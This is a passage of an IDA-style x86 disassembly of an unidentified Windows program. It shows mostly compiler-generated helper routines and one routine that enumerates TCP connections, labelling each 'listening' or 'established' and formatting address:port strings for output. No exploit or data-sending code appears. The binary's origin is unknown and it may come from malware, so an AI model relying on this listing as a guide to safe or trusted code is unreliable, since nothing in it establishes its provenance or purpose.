		push	eax
		call	sub_401D84
		mov	ecx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], ecx
		pop	ecx
		retn	4
sub_418A90	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418AC0	proc near		; CODE XREF: sub_4010B9j

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_401311
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_401F4B
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_401550
		pop	esi
		add	esp, 0Ch
		retn
sub_418AC0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418B10	proc near		; CODE XREF: sub_402086j
		push	esi
		mov	esi, ecx
		call	sub_401528
		mov	eax, esi
		pop	esi
		retn
sub_418B10	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418B30	proc near		; CODE XREF: sub_402211j
		mov	eax, [ecx]
		push	eax
		call	sub_401172
		add	esp, 4
		retn
sub_418B30	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418B50	proc near		; CODE XREF: sub_401361j
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		push	eax
		call	sub_4015D2
		mov	ecx, [eax]
		add	esp, 4
		mov	[esi], ecx
		mov	eax, esi
		pop	esi
		retn
sub_418B50	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418B80	proc near		; CODE XREF: sub_4016F9j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_40221B
		neg	al
		sbb	eax, eax
		inc	eax
		retn	4
sub_418B80	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418BB0	proc near		; CODE XREF: sub_40142Ej

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		sub	esp, 8
		lea	eax, [esp+8+arg_8]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+10h+arg_4]
		call	sub_40183E
		test	al, al
		jz	short loc_418C0A


loc_418BC8:				; CODE XREF: sub_418BB0+47j
		lea	ecx, [esp+0Ch+var_8]
		push	0
		push	ecx
		lea	ecx, [esp+14h+arg_4]
		call	sub_40116D
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_40123F
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch+arg_8]
		push	ecx
		lea	ecx, [esp+10h+arg_4]
		call	sub_40183E
		test	al, al
		jnz	short loc_418BC8
		mov	eax, [esp+0Ch+arg_0]
		mov	edx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], edx
		add	esp, 8
		retn	0Ch
; ---------------------------------------------------------------------------


loc_418C0A:				; CODE XREF: sub_418BB0+16j
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], ecx
		add	esp, 8
		retn	0Ch
sub_418BB0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418C40	proc near		; CODE XREF: sub_4020E5j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	1
		push	eax
		call	sub_401D57
sub_418C40	endp

; ---------------------------------------------------------------------------
		retn	4
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418C60	proc near		; CODE XREF: sub_401550j

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		sub	esp, 8
		lea	eax, [esp+8+arg_8]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+10h+arg_4]
		call	sub_4016F9
		test	al, al
		jz	short loc_418CBA


loc_418C78:				; CODE XREF: sub_418C60+47j
		lea	ecx, [esp+0Ch+var_8]
		push	0
		push	ecx
		lea	ecx, [esp+14h+arg_4]
		call	sub_4012A3
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_40214E
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch+arg_8]
		push	ecx
		lea	ecx, [esp+10h+arg_4]
		call	sub_4016F9
		test	al, al
		jnz	short loc_418C78
		mov	eax, [esp+0Ch+arg_0]
		mov	edx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], edx
		add	esp, 8
		retn	0Ch
; ---------------------------------------------------------------------------


loc_418CBA:				; CODE XREF: sub_418C60+16j
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], ecx
		add	esp, 8
		retn	0Ch
sub_418C60	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418CF0	proc near		; CODE XREF: sub_40139Dj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		push	0Ch
		call	sub_401C53
sub_418CF0	endp

; ---------------------------------------------------------------------------
		mov	edi, [esp+0Ch]
		mov	esi, eax
		test	edi, edi
		jnz	short loc_418D05
		mov	edi, esi


loc_418D05:				; CODE XREF: ___:00418D01j
		push	esi
		call	sub_4015D2
		mov	[eax], edi
		mov	edi, [esp+14h]
		add	esp, 4
		test	edi, edi
		jnz	short loc_418D1A
		mov	edi, esi


loc_418D1A:				; CODE XREF: ___:00418D16j
		push	esi
		call	sub_401B1D
		add	esp, 4
		mov	[eax], edi
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418D40	proc near		; CODE XREF: sub_40205Ej

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	1
		push	eax
		call	sub_4013F2
sub_418D40	endp

; ---------------------------------------------------------------------------
		retn	4
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418D60	proc near		; CODE XREF: sub_4015D2j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		retn
sub_418D60	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418D80	proc near		; CODE XREF: sub_401172j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 8
		retn
sub_418D80	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418DA0	proc near		; CODE XREF: sub_401528j
		mov	eax, ecx
		retn
sub_418DA0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418DC0	proc near		; CODE XREF: sub_401D84j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_4020E0
		mov	eax, esi
		pop	esi
		retn	4
sub_418DC0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418DF0	proc near		; CODE XREF: sub_40221Bj

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	eax, [ecx]
		push	esi
		xor	ecx, ecx
		mov	esi, [edx]
		cmp	eax, esi
		pop	esi
		setz	cl
		mov	al, cl
		retn	4
sub_418DF0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418E20	proc near		; CODE XREF: sub_40123Fj

var_4		= byte ptr -4
arg_4		= byte ptr  8

		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		lea	eax, [esp+10h+var_4]
		push	0
		push	eax
		lea	ecx, [esp+18h+arg_4]
		call	sub_40116D
		mov	ecx, eax
		call	sub_401C8A
		mov	esi, eax
		push	esi
		call	sub_401A82
		push	esi
		mov	ebx, eax
		call	sub_401C58
		mov	ecx, [eax]
		push	ecx
		call	sub_401A82
		mov	edx, [ebx]
		push	esi
		mov	[eax], edx
		call	sub_401C58
		push	esi
		mov	ebx, eax
		call	sub_401A82
		mov	eax, [eax]
		push	eax
		call	sub_401C58
		mov	ecx, [ebx]
		push	esi
		mov	[eax], ecx
		call	sub_401208
		add	esp, 1Ch
		mov	ecx, edi
		push	eax
		call	sub_401762
		push	esi
		mov	ecx, edi
		call	sub_4020E5
sub_418E20	endp

; ---------------------------------------------------------------------------
		mov	eax, [edi+8]
		mov	edx, [esp+18h]
		dec	eax
		mov	[edi+8], eax
		mov	eax, [esp+14h]
		pop	edi
		pop	esi
		mov	[eax], edx
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418EE0	proc near		; CODE XREF: sub_401D57j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_436872
sub_418EE0	endp

; ---------------------------------------------------------------------------
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418F00	proc near		; CODE XREF: sub_40116Dj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [ecx]
		call	sub_401F0A
		mov	eax, [esp+4+arg_0]
		mov	[eax], esi
		pop	esi
		retn	8
sub_418F00	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418F30	proc near		; CODE XREF: sub_40214Ej

var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		lea	eax, [esp+10h+var_4]
		push	0
		push	eax
		lea	ecx, [esp+18h+arg_4]
		call	sub_4012A3
		mov	ecx, eax
		call	sub_401ECE
		mov	esi, eax
		push	esi
		call	sub_4015D2
		push	esi
		mov	ebx, eax
		call	sub_401B1D
		mov	ecx, [eax]
		push	ecx
		call	sub_4015D2
		mov	edx, [ebx]
		push	esi
		mov	[eax], edx
		call	sub_401B1D
		push	esi
		mov	ebx, eax
		call	sub_4015D2
		mov	eax, [eax]
		push	eax
		call	sub_401B1D
		mov	ecx, [ebx]
		push	esi
		mov	[eax], ecx
		call	sub_401172
		add	esp, 1Ch
		mov	ecx, edi
		push	eax
		call	sub_4018C5
		push	esi
		mov	ecx, edi
		call	sub_40205E
sub_418F30	endp

; ---------------------------------------------------------------------------
		mov	eax, [edi+8]
		mov	edx, [esp+18h]
		dec	eax
		mov	[edi+8], eax
		mov	eax, [esp+14h]
		pop	edi
		pop	esi
		mov	[eax], edx
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418FF0	proc near		; CODE XREF: sub_401B1Dj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 4
		retn
sub_418FF0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_419010	proc near		; CODE XREF: sub_401C53j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401D16
sub_419010	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn	4
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_419040	proc near		; CODE XREF: sub_4013F2j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_436872
sub_419040	endp

; ---------------------------------------------------------------------------
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_419060	proc near		; CODE XREF: sub_4020E0j

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	[eax], ecx
		retn	4
sub_419060	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_419080	proc near		; CODE XREF: sub_4012A3j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [ecx]
		call	sub_401361
		mov	eax, [esp+4+arg_0]
		mov	[eax], esi
		pop	esi
		retn	8
sub_419080	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4190B0	proc near		; CODE XREF: sub_401762j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	j_nullsub_9
		pop	ecx
		retn	4
sub_4190B0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4190D0	proc near		; CODE XREF: sub_4018C5j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	j_nullsub_4
		pop	ecx
		retn	4
sub_4190D0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4190F0	proc near		; CODE XREF: sub_401ECEj
		mov	eax, [ecx]
		retn
sub_4190F0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_9. PRESS KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_4. PRESS KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_419150	proc near		; CODE XREF: sub_402103j

var_14		= dword	ptr -14h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_419150
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	esi
		mov	esi, ecx
		mov	[esp+18h+var_14], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401749
		push	9
		mov	[esp+1Ch+var_4], 0
		mov	dword ptr [esi], offset	off_43E074
		call	sub_43688A
sub_419150	endp

; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+8], eax
		test	eax, eax
		mov	byte ptr [esp+14h], 1
		jz	short loc_4191BD
		mov	ecx, eax
		call	sub_401F0F
; ---------------------------------------------------------------------------
		mov	[esi+32h], eax
		mov	eax, esi
		pop	esi
		mov	ecx, [esp+8]
		mov	large fs:0, ecx
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------


loc_4191BD:				; CODE XREF: ___:0041919Fj
		mov	ecx, [esp+0Ch]
		xor	eax, eax
		mov	[esi+32h], eax
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_419210	proc near		; CODE XREF: sub_401F0Fj
		push	0FFFFFFFFh
		push	offset SEH_419210
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		push	14h
		call	sub_43688A
sub_419210	endp

; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+4], eax
		test	eax, eax
		mov	dword ptr [esp+10h], 0
		jz	short loc_41925E
		mov	ecx, eax
		call	sub_4015B9
		mov	[esi], eax
		mov	eax, esi
		pop	esi
		mov	ecx, [esp+4]
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_41925E:				; CODE XREF: ___:00419241j
		mov	ecx, [esp+8]
		xor	eax, eax
		mov	[esi], eax
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4192A0	proc near		; CODE XREF: sub_4015B9j
		mov	eax, ecx
		retn
sub_4192A0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4192C0	proc near		; CODE XREF: sub_401965j

var_24		= byte ptr -24h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4192C0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	esi
		push	0
		push	14h
		push	1
		push	14h
		push	13h
		push	14h
		push	5
		lea	eax, [esp+44h+var_24]
		push	0Eh
		mov	esi, ecx
		push	eax
		call	sub_4019B5
		add	esp, 24h
		push	esi
		mov	ecx, eax
		mov	[esp+2Ch+var_4], 0
		call	sub_401681
		add	esi, 4
		push	eax
		push	esi
		mov	ecx, offset dword_447108
		call	sub_401591
sub_4192C0	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+24h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+1Ch]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 24h
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_419360	proc near		; CODE XREF: sub_40111Dj

var_2A4		= dword	ptr -2A4h
var_2A0		= dword	ptr -2A0h
var_29C		= dword	ptr -29Ch
var_298		= dword	ptr -298h
var_294		= dword	ptr -294h
var_290		= dword	ptr -290h
var_28C		= byte ptr -28Ch
var_274		= byte ptr -274h
var_25C		= byte ptr -25Ch
var_23C		= byte ptr -23Ch
var_224		= byte ptr -224h
var_199		= byte ptr -199h
var_198		= byte ptr -198h
var_119		= byte ptr -119h
var_118		= byte ptr -118h
var_99		= byte ptr -99h
var_98		= byte ptr -98h
var_D		= byte ptr -0Dh
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	0FFFFFFFFh
		push	offset SEH_419360
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 298h
		push	ebx
		mov	ebx, ecx
		push	esi
		mov	[esp+2ACh+var_2A4], ebx
		lea	ecx, [ebx+4]
		call	sub_4017E4
		mov	esi, [esp+2ACh+arg_0]
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_419706
		push	ebp
		push	edi
		push	offset asc_443600 ; " "
		lea	eax, [esp+2B8h+var_23C]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		call	sub_401681
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		lea	ecx, [esp+2B4h+var_23C]
		mov	[ebx+36h], eax
		call	sub_401226
		mov	ecx, esi
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+2B8h+var_274]
		call	sub_401861
		xor	ebp, ebp
		push	offset dword_443D50
		lea	ecx, [esp+2B8h+var_274]
		mov	[esp+2B8h+var_4], ebp
		mov	[esp+2B8h+var_2A0], ebp
		call	sub_4013E3
		test	eax, eax
		jz	short loc_41940F
		mov	[esp+2B4h+var_2A0], 2
		jmp	short loc_419429
; ---------------------------------------------------------------------------


loc_41940F:				; CODE XREF: sub_419360+A3j
		push	offset dword_443D4C
		lea	ecx, [esp+2B8h+var_274]
		call	sub_4013E3
		test	eax, eax
		jz	short loc_419429
		mov	[esp+2B4h+var_2A0], 1


loc_419429:				; CODE XREF: sub_419360+ADj
					; sub_419360+BFj
		mov	ecx, [ebx+32h]
		mov	edi, offset dword_443D40
		xor	eax, eax
		mov	edx, [ecx]
		or	ecx, 0FFFFFFFFh
		add	edx, 2
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	ecx, [ebx+32h]
		mov	edx, [ecx]
		mov	byte ptr [edx],	1
		mov	eax, [ebx+32h]
		mov	[esp+2B4h+var_119], 0
		mov	[esp+2B4h+var_99], 0
		mov	[esp+2B4h+var_D], 0
		mov	[esp+2B4h+var_199], 0
		mov	eax, [eax]
		cmp	byte ptr [eax],	0
		jnz	short loc_4194B8
		mov	esi, dword_50FA9C
		add	eax, 2
		push	offset dword_443D40
		push	eax
		call	esi	; _stricmp
		add	esp, 8
		test	eax, eax
		jz	short loc_4194B8
		mov	ecx, [ebx+32h]
		push	offset off_443D3C
		mov	edx, [ecx]
		add	edx, 2
		push	edx
		call	esi	; _stricmp
		add	esp, 8
		test	eax, eax
		jnz	loc_4196EC


loc_4194B8:				; CODE XREF: sub_419360+123j
					; sub_419360+13Bj
		push	0C00h
		mov	[esp+2B8h+var_294], 0C00h
		nop
		call	near ptr 77C2C407h
		add	esp, 4
		mov	esi, eax
		lea	eax, [esp+2B4h+var_294]
		mov	[esp+2B4h+var_29C], esi
		push	1
		push	eax
		push	esi
		mov	[esi], ebp
		call	sub_436CF0
; ---------------------------------------------------------------------------
		mov	eax, [esi]
		mov	[esp+2B4h+var_298], ebp
		cmp	eax, ebp
		jle	loc_4196E2
		lea	ebp, [esi+14h]


loc_4194F4:				; CODE XREF: sub_419360+37Cj
		cmp	dword ptr [ebp-10h], 2
		jnz	short loc_419508
		mov	ecx, [ebx+32h]
		mov	edx, [ecx]
		cmp	byte ptr [edx],	0
		jz	loc_4196CC


loc_419508:				; CODE XREF: sub_419360+198j
		mov	ax, [ebp-8]
		mov	esi, dword_50FC20
		push	eax
		call	esi	; ntohs
		mov	cx, [ebp+0]
		mov	[esp+2B4h+var_290], eax
		push	ecx
		call	esi	; ntohs
		mov	esi, [esp+2B4h+var_2A4]
		mov	ebx, eax
		mov	eax, [ebp-0Ch]
		push	1
		lea	edx, [esp+2B8h+var_198]
		push	7Fh
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_401474
		mov	edx, [ebp-4]
		push	0
		lea	ecx, [esp+2B8h+var_118]
		push	7Fh
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_401474
		mov	eax, [ebp-10h]
		sub	eax, 2
		jz	short loc_41956C
		sub	eax, 3
		jnz	short loc_419592
		lea	edx, [esp+2B4h+var_25C]
		mov	edi, offset aEstablished ; "established"
		jmp	short loc_419575
; ---------------------------------------------------------------------------


loc_41956C:				; CODE XREF: sub_419360+1FAj
		lea	edx, [esp+2B4h+var_25C]
		mov	edi, offset aListening ; "listening"


loc_419575:				; CODE XREF: sub_419360+20Aj
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb


loc_419592:				; CODE XREF: sub_419360+1FFj
		mov	ecx, 23h
		xor	eax, eax
		lea	edi, [esp+2B4h+var_98]
		rep stosd
		mov	ecx, 23h
		lea	edi, [esp+2B4h+var_224]
		rep stosd
		cmp	dword ptr [ebp-10h], 2
		jnz	short loc_4195B8
		xor	ebx, ebx


loc_4195B8:				; CODE XREF: sub_419360+254j
		mov	esi, [esp+2B4h+var_290]
		lea	ecx, [esp+2B4h+var_198]
		and	esi, 0FFFFh
		lea	edx, [esp+2B4h+var_98]
		push	esi
		push	ecx
		push	offset aSD_1	; "%s:%d"
		push	8Bh
		push	edx
		call	near ptr 77C3FA76h
		nop
		mov	edi, ebx
		lea	eax, [esp+2C8h+var_118]
		and	edi, 0FFFFh
		lea	ecx, [esp+2C8h+var_224]
		push	edi
		push	eax
		push	offset aSD_1	; "%s:%d"
		push	8Bh
		push	ecx
		call	near ptr 77C3FA76h
		nop
		add	esp, 28h
		lea	ecx, [esp+2B4h+var_28C]
		call	sub_401424
		mov	eax, [esp+2B4h+var_2A0]
		mov	byte ptr [esp+2B4h+var_4], 1
		test	bx, bx
		jnz	short loc_41964E
		cmp	eax, 1
		jz	loc_4196B3
		mov	edx, [esp+2B4h+var_2A4]
		mov	eax, [edx+36h]
		test	eax, eax
		jz	short loc_419641
		cmp	eax, esi
		jnz	short loc_4196B3


loc_419641:				; CODE XREF: sub_419360+2DBj
		lea	eax, [esp+2B4h+var_25C]
		push	esi
		push	eax
		push	offset aSD_0	; "%s: %d"
		jmp	short loc_419674
; ---------------------------------------------------------------------------


loc_41964E:				; CODE XREF: sub_419360+2C7j
		cmp	eax, 2
		jz	short loc_4196B3
		mov	ecx, [esp+2B4h+var_2A4]
		mov	eax, [ecx+36h]
		test	eax, eax
		jz	short loc_419662
		cmp	eax, edi
		jnz	short loc_4196B3


loc_419662:				; CODE XREF: sub_419360+2FCj
		lea	edx, [esp+2B4h+var_224]
		lea	eax, [esp+2B4h+var_25C]
		push	edx
		push	eax
		push	offset aSS_5	; "%s: %s"


loc_419674:				; CODE XREF: sub_419360+2ECj
		lea	ecx, [esp+2C0h+var_28C]
		push	ecx
		call	sub_40102D
		mov	esi, [esp+2C4h+arg_0]
		add	esp, 10h
		lea	ecx, [esi+69h]
		call	sub_4014D3
		push	eax
		lea	ecx, [esp+2B8h+var_28C]
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		mov	ecx, offset byte_4D6065
		call	sub_401118


loc_4196B3:				; CODE XREF: sub_419360+2CCj
					; sub_419360+2DFj ...
		lea	ecx, [esp+2B4h+var_28C]
		mov	byte ptr [esp+2B4h+var_4], 0
		call	sub_401226
		mov	esi, [esp+2B4h+var_29C]
		mov	ebx, [esp+2B4h+var_2A4]


loc_4196CC:				; CODE XREF: sub_419360+1A2j
		mov	eax, [esp+2B4h+var_298]
		mov	ecx, [esi]
		inc	eax
		add	ebp, 14h
		cmp	eax, ecx
		mov	[esp+2B4h+var_298], eax
		jl	loc_4194F4


loc_4196E2:				; CODE XREF: sub_419360+18Bj
		push	esi
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4


loc_4196EC:				; CODE XREF: sub_419360+152j
		lea	ecx, [esp+2B4h+var_274]
		mov	[esp+2B4h+var_4], 0FFFFFFFFh
		call	sub_401226
		pop	edi
		mov	al, 1
		pop	ebp
		jmp	short loc_419708
; ---------------------------------------------------------------------------


loc_419706:				; CODE XREF: sub_419360+3Dj
		mov	al, 1


loc_419708:				; CODE XREF: sub_419360+3A4j
		mov	ecx, [esp+2ACh+var_C]
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 2A4h
		retn	4
sub_419360	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 100h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_419830	proc near		; CODE XREF: sub_401474j

var_20		= byte ptr -20h
arg_0		= byte ptr  4
arg_3		= dword	ptr  7
arg_8		= dword	ptr  0Ch
arg_C		= byte ptr  10h

		mov	eax, [esp+arg_3]
		sub	esp, 20h
		mov	edx, [esp+25h]
		and	eax, 0FFh
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		mov	ecx, [esp+32h]
		mov	ebx, [esp+2Ch+arg_8]
		mov	ebp, [esp+2Ch+arg_3+1]
		push	eax
		mov	eax, [esp+34h]
		and	ecx, 0FFh
		and	edx, 0FFh
		push	ecx
		and	eax, 0FFh
		push	edx
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	ebx
		push	ebp
		nop
		call	near ptr 77C3FA76h
		mov	ecx, [esi+32h]
		add	esp, 1Ch
		mov	al, [ecx+4]
		test	al, al
		jnz	short loc_4198F0
		mov	al, [esp+2Ch+arg_C]
		test	al, al
		jnz	short loc_4198BE
		mov	eax, [esp+30h]
		test	eax, eax
		jz	short loc_4198BE
		push	2
		lea	edx, [esp+30h+arg_0]
		push	4
		push	edx
		nop
		call	near ptr 71ABE479h
		test	eax, eax
		jz	short loc_4198F0
		mov	eax, [eax]
		push	ebx
		push	eax
		push	ebp
		call	near ptr 77C47A90h
		nop
		add	esp, 0Ch
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 20h
		retn	10h
; ---------------------------------------------------------------------------


loc_4198BE:				; CODE XREF: sub_419830+5Aj
					; sub_419830+62j
		push	edi
		mov	ecx, 7
		xor	eax, eax
		lea	edi, [esp+30h+var_20]
		rep stosd
		lea	ecx, [esp+30h+var_20]
		push	1Dh
		push	ecx
		stosw
		nop
		call	near ptr 71AB50C8h
		test	eax, eax
		pop	edi
		jnz	short loc_4198F0
